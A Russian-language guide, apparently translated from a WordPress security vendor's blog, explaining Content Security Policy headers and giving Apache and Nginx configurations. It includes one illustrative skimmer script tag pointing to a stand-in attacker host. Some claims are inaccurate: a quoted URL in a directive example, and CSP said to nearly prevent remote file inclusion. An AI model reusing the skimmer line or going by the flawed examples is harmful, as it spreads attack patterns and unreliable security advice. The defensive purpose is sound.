Объяснение политики безопасности контента (CSP)

Опубликовано: 2023-04-18

В связи с быстрым развитием угроз кибербезопасности полагаться на один уровень защиты уже недостаточно для защиты вашего присутствия в Интернете. Это обязывает владельцев веб-сайтов использовать многоуровневый подход к обеспечению безопасности, который лучше всего представлен концепцией глубокоэшелонированной защиты.

На веб-сайтах и ​​веб-приложениях глубокая защита может быть реализована с помощью заголовков ответа безопасности HTTP, специально разработанных для обеспечения дополнительных мер безопасности на стороне клиента. Заголовки ответов HTTP являются важной второй линией защиты от кибератак, направленных на веб-приложения.

Являясь одним из ключевых заголовков ответа безопасности HTTP, Content Security Policy (CSP) может эффективно защитить ваш веб-сайт и его посетителей от разрушительных последствий межсайтового скриптинга (XSS) и атак путем внедрения данных.

В этом руководстве вы узнаете, почему Content Security Policy является ключевым заголовком безопасности HTTP и как внедрить глубокую защиту на свой сайт, чтобы успешно противостоять широкому спектру изощренных кибератак, нацеленных на WordPress.

политика безопасности контента

Что такое заголовки ответа HTTP?

Заголовки ответов HTTP — это набор элементов управления, реализованных на веб-сайтах и ​​веб-приложениях, которые определяют, как браузер взаимодействует с запрошенным содержимым. Внедрение заголовков ответа HTTP может помочь владельцам веб-сайтов значительно улучшить взаимодействие с пользователем, а также улучшить функциональность, производительность и безопасность своих веб-сайтов.

Поскольку небольшие фрагменты информации отправляются вместе с контентом, запрашиваемым посетителями веб-сайта, заголовки ответа HTTP изменяют способ интерпретации и обработки браузерами ответа, полученного от веб-сервера. И хотя содержание и функциональность веб-сайта остаются неизменными, внедрение заголовков ответа HTTP может изменить то, как его воспринимают пользователи.

Заголовки HTTP Security Response как второй уровень защиты от угроз безопасности

Одной из ключевых областей, в которой используются заголовки ответов HTTP, такие как Content Security Policy, является безопасность веб-сайтов. Мощная функциональность заголовков ответов HTTP делает их важной второй линией защиты от многих кибератак, нацеленных на динамические веб-приложения, такие как WordPress.

Первая линия защиты от кибератак состоит из ряда мер безопасности на основе кода и на стороне сервера, которые уменьшают поверхность атаки и устраняют уязвимости на уровне приложений. Это включает в себя использование методов безопасного кодирования, создание строгих политик контроля доступа и внедрение брандмауэра веб-приложений для проверки входящих запросов и фильтрации вредоносного трафика.

И хотя наличие надежной первой линии защиты абсолютно необходимо, использование одного уровня безопасности может сделать ваш веб-сайт уязвимым для все более изощренных атак. Единую меру безопасности можно легко обойти, особенно если злоумышленник может идентифицировать и использовать уязвимость, оставленную без исправления.

Content Security Policy и другие заголовки ответа безопасности обеспечивают дополнительный уровень защиты, уменьшая вред, причиняемый вредоносными атаками. Если хакер-злоумышленник сможет успешно определить уязвимость на вашем веб-сайте, сильная вторая линия защиты значительно затруднит ее использование злоумышленником.

Что такое политика безопасности контента?

Политика безопасности контента (CSP) — это механизм безопасности, используемый для определения списка доверенных источников контента, который разрешено загружать веб-сайту или конкретной веб-странице, а также того, какой протокол будет использоваться для этого. Это могут быть сценарии, таблицы стилей, изображения и другие типы контента, которые можно встроить в веб-страницу.

Политика безопасности контента — это мощная глубокая защита, которая помогает блокировать несанкционированные запросы контента, расположенного за пределами текущего веб-сайта. В дополнение к этому CSP успешно предотвращает выполнение встроенных скриптов и ограничивает выполнение небезопасного динамического кода.

В качестве заголовка ответа безопасности HTTP CSP передает инструкции, настроенные владельцем веб-сайта, в браузер посетителя. Затем браузер должен следовать инструкциям и заблокировать доставку содержимого, которое не было разрешено правилами политики безопасности содержимого. Таким образом, браузер увидит, что на определенный контент ссылается веб-страница, но откажется его загружать.

Почему политика безопасности контента так важна?

В качестве второй линии защиты Content Security Policy в большинстве случаев не предотвращает взлом веб-сайта злоумышленником. Тем не менее, это поможет смягчить разрушительные последствия заражения вредоносным ПО, заблокировав попытки хакера воспользоваться им.

Даже если вредоносное ПО внедряется на ваш веб-сайт с целью кражи конфиденциальной информации или выполнения других злонамеренных действий, надежная политика CSP защитит вас и ваших клиентов. Злоумышленник просто не сможет воспользоваться доверием ваших клиентов к вашему веб-сайту, поскольку браузер в первую очередь заблокирует выполнение любого вредоносного кода.

Возможность свести на нет усилия хакеров по использованию вашего веб-сайта, в то время как вы восстанавливаете полный контроль над ним и выполняете очистку от вредоносного ПО после того, как он был скомпрометирован, — вот что делает реализацию Content Security Policy мощным инструментом для защиты современных веб-сайтов и веб-приложений.

От чего защищает CSP?

Политика безопасности контента защищает веб-сайт и его посетителей от целого ряда кибератак, вызванных заражением вредоносным ПО, а также от попыток вторжения с использованием вредоносных скриптов, размещенных на ресурсах, контролируемых злоумышленником. Это включает в себя межсайтовый скриптинг (XSS), атаки с включением файлов и кликджекинг как три основных вектора атак, которые смягчаются политикой безопасности контента.

Межсайтовый скриптинг (XSS)

Межсайтовый скриптинг (XSS) — это атака путем внедрения вредоносного кода на веб-страницу. Затем код будет выполняться браузером при загрузке веб-страницы, что позволит злоумышленнику украсть конфиденциальную информацию, перехватить пользовательские сеансы или распространить вредоносное ПО.

Для выполнения атак с использованием межсайтовых сценариев хакеры могут внедрить вредоносное ПО в виде встроенного сценария, который встраивается в HTML, или путем ссылки на внешний сценарий, обычно размещенный на веб-сайте, контролируемом злоумышленником. В процессе рендеринга контента вредоносный код загружается в браузер пользователя и выполняется без его ведома и согласия.

Одним из хороших примеров атак с использованием межсайтовых сценариев, затрагивающих владельцев сайтов WordPress, является внедрение вредоносного ПО для скимминга карт в кассу WooCommerce, которое крадет платежную информацию покупателя. Карточные скиммеры и другие типы снифферов JavaScript, используемые для выполнения межсайтовых атак, обычно выглядят в исходном коде веб-страницы следующим образом:

 <script type="text/javascript" src="https://hackerswebsite/evil.js"></script>

В случае встроенного сценария вы увидите вредоносный код, встроенный в теги сценария или даже замаскированный под таблицу стилей с помощью тегов стиля.

Предотвращение межсайтовых сценариев является основной целью реализации политики безопасности контента. Предотвращая выполнение встроенных скриптов, небезопасный Javascript, внедренный с помощью функции eval, и блокируя скрипты, загруженные из ненадежных источников, политика безопасности контента (CSP) эффективно снижает риск выполнения произвольного кода на веб-сайте.

Атаки с включением файлов

Атаки с включением файлов — это еще один тип атак путем внедрения, который можно смягчить с помощью Content Security Policy. В качестве метода вторжения атаки с удаленным включением файлов позволяют хакеру использовать плохую проверку ввода в разных областях веб-сайта для выполнения вредоносного кода, размещенного на внешнем ресурсе.

Атаки с удаленным включением файлов часто используют неисправленные уязвимости в плагинах и темах WordPress с целью взлома веб-сайта путем установки бэкдора веб-шелла. Подобно предотвращению межсайтовых сценариев, Content Security Policy эффективно блокирует внедрение всех подозрительных внешних сценариев на веб-сайт, что делает практически невозможным для злоумышленника использование уязвимостей удаленного включения файлов (RFI).

кликджекинг

Помимо разрешения владельцам веб-сайтов определять список доверенных ресурсов для загрузки содержимого, политика безопасности содержимого может помочь ограничить список веб-сайтов, которым разрешено встраивать содержимое с веб-сайта во фреймы. Это помогает смягчить атаки с исправлением пользовательского интерфейса (UI), такие как кликджекинг, жертвой которого могут стать ваши клиенты, открыв подозрительные ссылки, отправленные им в ходе целевой фишинговой атаки.

Директива frame-ancestors Content Security Policy успешно заменила заголовок X-Frame-Options , который в настоящее время устарел в большинстве современных браузеров. Эта и другие директивы CSP абсолютно необходимы для безопасности WordPress.

Директивы политики безопасности контента

Политика безопасности контента помогает вам указать набор правил, известных как директивы, для управления источниками контента, которые может загружать ваш веб-сайт. Директивы политики безопасности контента — это список инструкций, включенных в заголовок HTTP запрашиваемой веб-страницы, которые определяют типы контента, который браузеру разрешено загружать на этой странице, а также список надежных источников, из которых он может быть загружен.

Среди различных доступных директив Content Security Policy приведенные ниже правила наиболее часто применяются для защиты веб-сайтов от межсайтовых сценариев (XSS), кликджекинга и атак путем внедрения данных. Все следующие директивы CSP, за исключением frame-ancestors , form-action и upgrade-insecure-requests , являются директивами выборки, которые указывают список ресурсов, из которых загружается содержимое. Frame-ancestors и form-action — это директивы навигации, которые определяют, как другие ресурсы могут использовать содержимое веб-сайта, для которого настроена политика безопасности контента.

  • default-src определяет политику загрузки всех типов ресурсов, которые браузер будет использовать по умолчанию, если для определенного типа содержимого не указаны дополнительные правила.
  • script-src указывает надежные источники файлов JavaScript, которые можно загрузить с веб-сайта.
  • style-src определяет список допустимых источников таблиц стилей (CSS).
  • img-src составляет белый список ресурсов, из которых можно загрузить изображения.
  • media-src указывает надежные источники аудио- и видеофайлов, встроенных в элементы HTML <audio> и <video>
  • connect-src обеспечивает контроль над соединениями XMLHttpRequest , EventSource и WebSocket .
  • child-src определяет источники контента, которые могут быть включены в веб-страницу через фреймы.
  • frame-ancestors — это навигационная директива, которая помогает смягчить атаки кликджекинга, указывая список ресурсов, которым разрешено встраивать содержимое веб-сайта во фреймы.
  • form-action ограничивает ресурсы, на которые веб-формы могут отправлять информацию, предотвращая утечку данных на внешние ресурсы, контролируемые злоумышленником.
  • upgrade-insecure-requests предписывает браузеру обновить все небезопасные запросы до HTTPS , обеспечив безопасное соединение.

В зависимости от типа веб-сайта и конкретных функций, которые он предоставляет, владельцам веб-сайтов может потребоваться настроить несколько директив для управления всеми источниками контента, получаемого извне.

Отраслевой стандарт для обеспечения достаточной защиты от перекрестных сценариев и атак путем внедрения с использованием Content Security Policy в качестве второй линии защиты заключается в ограничении допустимых источников внешнего контента текущим веб-сайтом только с помощью директивы default-src . Затем можно использовать более целевые директивы для внесения в белый список ресурсов для определенных типов контента, но рекомендуемым подходом является отказ от всех других ресурсов.

Настройка директив политики безопасности содержимого

Каждая директива Content Security Policy принимает список значений, представленных унифицированным указателем ресурса (URL), который должен включать действительный веб-адрес, которому предшествует протокол, доменное имя, подстановочный знак или определенные значения, такие как 'self' или 'none' . 'none' предоставляется заголовком ответа HTTP.

Вот несколько примеров значений, которые могут быть присвоены директивам Content Security Policy:

Значение директивы Пример Определение
* media-src* Подстановочный знак, используемый для разрешения загрузки всего контента со всех ресурсов.
'self' default-src 'self'
frame-ancestors 'self';
Вносит текущий веб-сайт в белый список как единственный допустимый источник определенного контента. Определяет строгую политику безопасности того же происхождения, рекомендуемую политику безопасности содержимого по умолчанию.

Используется с директивой frame-ancestors, запрещает кадрирование контента на ресурсах, отличных от самого веб-сайта.
'none' media-src 'none' Запрещает загрузку ресурсов из любого источника, включая тот же веб-сайт.
domain.com
*.domain.com
img-sr c *.domain.com Позволяет загружать контент с любого субдомена домена domain.com.
https://domain.com default-src 'https://domain.com' Разрешает получение контента только через HTTPS с указанного доменного имени.

По умолчанию, независимо от указанных правил, Content Security Policy блокирует выполнение встроенных сценариев и запрещает веб-страницам выполнять функции преобразования текста в JavaScript, такие как eval, обычно используемые злоумышленниками. Добавление значений 'unsafe-inline' и 'unsafe-eval' в директиву политики безопасности контента script-src может помочь владельцам веб-сайтов обойти ограничения, но это может подвергнуть веб-сайт значительным рискам безопасности и подорвать защиту, налагаемую другими директивами. .

Следующая конфигурация заголовка Content Security Policy эффективно предотвращает загрузку веб-сайтом контента из внешних ресурсов и запрещает выполнение встроенных скриптов и небезопасного JavaScript:

Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"

Учитывая значение 'self' , директива frame-ancestors смягчает атаки кликджекинга, блокируя кадрирование контента.

Политика безопасности контента и сети доставки контента (CDN)

Поскольку большинство сетей доставки контента, таких как Cloudflare, полностью совместимы с Content Security Policy и не изменяют заголовки CPS с исходного сервера. Вам не нужно заносить в белый список какие-либо дополнительные ресурсы в настраиваемых вами правилах безопасности.

Внедрение политики безопасности контента для WordPress

WordPress предлагает различные плагины для добавления заголовков ответов HTTP, что может быть хорошим вариантом для нетехнических пользователей. Хотя это может быть удобным вариантом, настройка заголовков ответа системы безопасности, таких как Content Security Policy, для вашего веб-сайта WordPress — это простой процесс, не требующий установки какого-либо стороннего программного обеспечения.

Модуль mod_headers Apache и модуль ngx_http_headers_module Nginx позволяют настраивать заголовки ответов HTTP для вашего веб-сайта. Если вы используете Nginx, вы можете включить директиву add_header в блок server {} вашего веб-сайта, чтобы настроить заголовки ответа HTTP.

Точно так же, если вы используете Apache в качестве веб-сервера, вы можете использовать операторы «Набор заголовков» и «Добавление заголовков» для настройки политик безопасности в локальном файле .htaccess вашего веб-сайта, который находится в корне документа. Таким образом, конфигурация, указанная в файле .htaccess в корневом каталоге вашего сайта, применяется ко всем веб-страницам на сайте.

Важно отметить, что с помощью Apache вы можете настраивать заголовки ответов HTTP как локально — в файле .htaccess — так и глобально для всех веб-сайтов на сервере. Возможно, ваш хостинг-провайдер может глобально настроить определенные заголовки ответа, особенно если вы используете план общего хостинга. Использование метода «Набор заголовков» для настройки политики безопасности контента полностью перезапишет существующие глобальные правила, а использование «Добавление заголовка» объединит вашу новую политику с существующим заголовком ответа вместо замены всей конфигурации.

Вы можете добавить конфигурацию Content Security Policy ниже, чтобы обеспечить строгий контроль безопасности на вашем веб-сайте WordPress.

Для Апача:

 Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Для Nginx:

 add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Для разработки конфигурации политики безопасности контента, которая будет соответствовать требованиям безопасности вашего веб-сайта, может потребоваться некоторое тестирование, а также полное понимание функциональности веб-сайта. Кроме того, внедрение новых протоколов безопасности на вашем сайте WordPress потенциально может привести к потере функциональности, поэтому важно тщательно учитывать влияние любых изменений. Вы можете обратиться к своему хостинг-провайдеру или связаться с вашим разработчиком, чтобы убедиться, что заголовки безопасности настроены правильно и не вызовут каких-либо негативных последствий.

Внедрение глубокоэшелонированной защиты с помощью iThemes Security Pro

В сегодняшнем ландшафте угроз принятие стратегии глубокоэшелонированной защиты имеет решающее значение. Что касается современных динамических веб-приложений, таких как WordPress, заголовок Content Security Policy лежит в основе глубокоэшелонированной защиты, обеспечивая важнейший уровень защиты от межсайтового скриптинга (XSS), атак с включением файлов, кликджекинга и других веб-атак.

Внедрение комплексного решения для глубокоэшелонированной защиты всегда было сложной задачей. Но с iThemes Security Pro, надежным плагином безопасности, вы можете защитить свой веб-сайт WordPress. Благодаря таким функциям, как мониторинг целостности файлов, сканирование уязвимостей, автоматическое обновление программного обеспечения и аутентификация без пароля, вы можете быть уверены, что все важные части вашего веб-сайта WordPress защищены от постоянно развивающихся угроз безопасности.